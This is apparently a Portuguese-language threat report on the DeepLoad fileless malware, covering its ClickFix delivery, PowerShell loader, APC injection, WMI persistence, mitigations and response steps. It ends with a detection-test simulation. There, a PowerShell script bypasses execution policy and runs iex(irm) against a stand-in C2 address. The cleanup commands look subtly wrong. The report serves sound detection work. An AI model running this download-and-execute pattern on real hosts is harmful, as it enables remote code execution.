Malware DeepLoad Combina Entrega ClickFix com Evasão Gerada por IA

Resumo

DeepLoad é uma família de malware sem arquivo distribuída por meio de engenharia social ClickFix. Ele se baseia em um carregador PowerShell ofuscado, injeção de shellcode na memória em processos confiáveis do Windows e ‘ruído’ gerado por IA para reduzir a fidelidade da detecção estática. O carregador estabelece persistência usando uma tarefa agendada e assinaturas de eventos WMI, pode se propagar via mídia USB e rouba credenciais através de uma extensão de navegador falsa e um componente filemanager.exe complementar.

Investigação

O relatório descreve o acesso inicial começando com um comando PowerShell executado pela vítima, seguido pela recuperação do carregador através do mshta.exe. O carregador usa Add-Type para gerar temporariamente uma DLL em tempo de execução, em seguida, injeta shellcode no LockAppHost.exe usando injeção baseada em APC. A persistência é mantida através de uma tarefa agendada e uma assinatura de evento WMI oculta capaz de restabelecer a infecção mesmo após a limpeza, com uma janela de atraso observada de aproximadamente três dias. O roubo de credenciais é atribuído ao filemanager.exe junto com uma extensão de navegador maliciosa operando em paralelo.

Mitigação

Habilitar Registro de Bloco de Script do PowerShell e alertar sobre cadeias de execução PowerShell suspeitas. Auditar a atividade de rede de saída do mshta.exe, monitorar para a criação inesperada de tarefas agendadas e detectar o uso anômalo do QueueUserAPC indicativo de injeção de APC. Durante a remediação, enumerar e remover explicitamente as assinaturas de eventos WMI ao invés de confiar apenas na limpeza de arquivos/registro. Rotacionar credenciais expostas e remover quaisquer extensões de navegador não autorizadas para cortar caminhos de coleta de credenciais.

Resposta

Se a atividade do DeepLoad for detectada, isolar o host, parar a atividade maliciosa do PowerShell e terminar quaisquer processos injetados. Remover a tarefa agendada e excluir a assinatura de WMI associada, depois erradicar o filemanager.exe e a extensão de navegador maliciosa. Rotacionar todas as credenciais potencialmente comprometidas, sanitizar qualquer mídia USB conectada e validar o sistema quanto a artefatos de injeção residuais antes de devolvê-lo ao serviço.

Palavras-chave: DeepLoad, ClickFix, malware sem arquivo, carregador PowerShell, mshta.exe, Add-Type, shellcode na memória, injeção APC, QueueUserAPC, LockAppHost.exe, persistência de tarefa agendada, assinatura de evento WMI, propagação por USB, extensão de navegador maliciosa, roubo de credenciais.

Execução de Simulação

Pré-requisito: O Teste Preliminar de Telemetria e Base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a exata telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

• Narrativa e Comandos do Ataque:

  1. Primeira ancoragem: O atacante possui uma sessão PowerShell de baixo privilégio no host da vítima.
  2. Contornar política de execução: Ele invoca o PowerShell com -ep Bypass para ignorar quaisquer restrições de execução de script.
  3. Compilar uma carga útil .NET: Usando Add-Type, eles embutem uma pequena classe C# que, quando instanciada, realiza uma solicitação web ao servidor C2 (http://10.0.0.5:3015/index).
  4. Baixar & executar script remoto: O atacante canaliza o resultado de irm (Invoke‑RestMethod) em iex, executando o script malicioso na memória.
  5. Telemetria resultante: A linha de comando registrada pelo SO contém as três strings necessárias (-ep Bypass, Add-Type, iex(irm http://…:3015/index)), satisfazendo a regra Sigma.

• Script de Teste de Regressão:

  # Execução maliciosa semelhante ao DeepLoad
  # Este script reproduz o padrão exato de comando necessário para disparar a regra Sigma.
  $c2 = "http://10.0.0.5:3015/index"
  $payload = @"
  using System;
  using System.Net;
  public class Loader {
  public static void Run() {
      new WebClient().DownloadString(""$c2"");
  }
  }
  "@
  # Invocar PowerShell com o flag de bypass, compilar a carga útil, em seguida executar o script remoto
  powershell -NoProfile -ExecutionPolicy Bypass -Command `
      "Add-Type -TypeDefinition `$payload; `
       iex (irm $c2)"

• Comandos de Limpeza:

  # Remover quaisquer arquivos temporários ou assemblies carregados (se persistentes)
  Remove-Item -Path "$env:TEMPloader.dll" -ErrorAction SilentlyContinue
  # Opcionalmente, limpar o transcript do PowerShell (se habilitado)
  Clear-Host

Fim do Relatório